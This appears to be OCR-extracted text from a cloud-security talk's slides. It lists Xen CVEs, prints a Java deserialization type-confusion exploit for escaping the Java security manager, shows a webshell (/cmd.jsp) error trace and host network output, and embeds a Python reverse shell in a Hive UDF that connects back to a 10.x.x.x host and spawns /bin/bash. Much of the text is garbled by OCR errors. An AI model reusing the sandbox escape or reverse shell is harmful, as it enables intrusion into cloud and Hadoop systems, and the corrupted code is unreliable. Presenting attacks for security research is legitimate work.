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Computing as Utility
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Security as a Service
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e CVE-2012-2625 XEN 4.x
e CVE-2010-4255 XEN 4.0.1

e CVE-2010-4247 XEN 3.4.0

e CVE-2010-3699 XEN 3.x
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 Attacking java security manager
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import java.1o.¥;
import jawva. util. concurrent. atomic. ¥;

class Unionl { }

class UnionZ 1{ ]

public class test

{
static byte[] buf = new byte[] {

-64, -19, 0, 5, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 103, 97, 110, 103,

46, 79, 93, 106, 101, 99, 116, 59, -112, -50, 88, -97, 16, 115, 41, 108, 2, 0O,

0, 120, 112, 0, 0, 0, 2, 117, 114, 0, 9, 91, 76, 85, 110, 105, 111, 110, 49, 59,

-2, 44, -108, 17, -120, -74, -27, -1, 2, 0, O, 120, 112, O, O, O, 1, 112, 115,

114, 0, 48, 106, 97, 113, 97, 46, 117, 116, 105, 108, 46, 99, 111, 110, 99, 117,

114, 114, 101, 110, 116, 46, 97, 116, 111, 109, 105, 99, 46, 65, 116, 111, 109,
105, 99, 82, 101, 102, 101, 114, 101, 110, 99, 101, 65, 114, 114, 97, 121, -8T,
-46, -34, -95, -66, 101, 96, 12, 2, 0, 1, 91, 0, 5, 97, 114, 114, 97, 121, 116,
0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101,
99, 116, 59, 120, 112, 113, 0, 126, 0, 3

I

public static woid main(String[] args) throws Throwable

i
ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (buf));

Object[] arr = (Object[])ois. readdbject();
Unionl[] ul = (Unionli[])arr([0];
tomicReferencefrray ara = (AtomicReferencefrray)arr([1];
ara. set (0, new UnionZ());
System. out. println(ul [0]);




ZEfjava sandbox

Problem accessing /cmd.jsp. Reason:

access denied (java.io.FilePermission <<ALL FILES>> execute)

Caused by:

java.security.AccesaControlException: access denied (java.io.FilePermission <<ALL FILES>> execute
at java.security.AccesaControlContext.checkPermission (AcceasControlContaxt.java:374)
at java.security.AccessController.checkPermission(AccesaContzroller.java:546)
at java.lang.SecurityManager.checkParmission (SecurityManager.java:532)
at java.lang.SecurityManager.checkExec (SecurityManager.java:782)
at java.lang.ProcassBuilder.start (ProcessBuilder.java:448)
at java.lang.Runtime.exec (Runtime.java:593)
at java.lang.Runtime.exec (Runtime.java:431)
at java.lang.Runtime.exec(Runtime.java:328)
at org.apache.jsp.cmd _jsp. jspService(org.apache.jsp.cmd _jsp:52)

ethO Link encapEthemet HWaddr SCF3.FCB6:C2:7C met addr:10.66.15.39 Beast10.66.15.255 Mask:255.255.25
MTU:1500 Metric:1 RX packets: 1390144 errors:0) dropped 0 overruns:0 frame:0 TX packets:60315 errors:0 droppex
bytes:89019074 (84.8 MiB) TX bytes: 5434428 (5.1 MiB) Interrupt 28 Memory:92000000-92012800 eth]l Link enc:
addr:10.67.15.39 Beast10.67.15.255 Mask-255 255 255.0 UP BROADCAST RUNNING MULTICAST MTU:15
overruns:0 frame:371 TX packets: 415293293 errors:) dropped 0 overruns:0 camer:0 collisions:0 txqueuelen: 1000 RX
(42.9 GiB) Interrupt:40 Memory:94000000-94012800 lo Link encap:Local Loopback et addr:127.0.0.1 Mask:255
RX packets: 74287854 errors:0 dropped 0 overruns:0) frame 0 TX packets: 74287854 errors:0 dropped 0 overruns:0 ¢
GiB) TX bytes: 16117175329 (15.0 GiB)
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Hacking Hadoop
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Map-Reduce job/UDF

» [P _Ef&£RYjava code

[0
-

= sandbox

trr.p /h

RARY FUNCTION t




hadoop.hive.gl.ex

hadoop.io.Text;




DEMO

String pysh = "#!/bin/sh\r\npython -c \"import os;import
sys;import socket;s=socket.socket(socket. AF INET,
socket.SOCK STREAM) s.connect((socket. gethostbyname
("10.x.x.x"),9999));s.send("Welcome my master\\r\
\n');0s.dup2(s.fileno(), 0);0s.dup2(s.fileno(),
1);0s.dup2(s.fileno(), 2);s.send('ls there a shell?\\r\
§{1'\)\;o)s.\system('/bin/bash');s.cIose();s.send('See u next time!

r nl ; "ll;
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— http://weibo.com/n/aullik5
— http://t.qqg.com/aullik5
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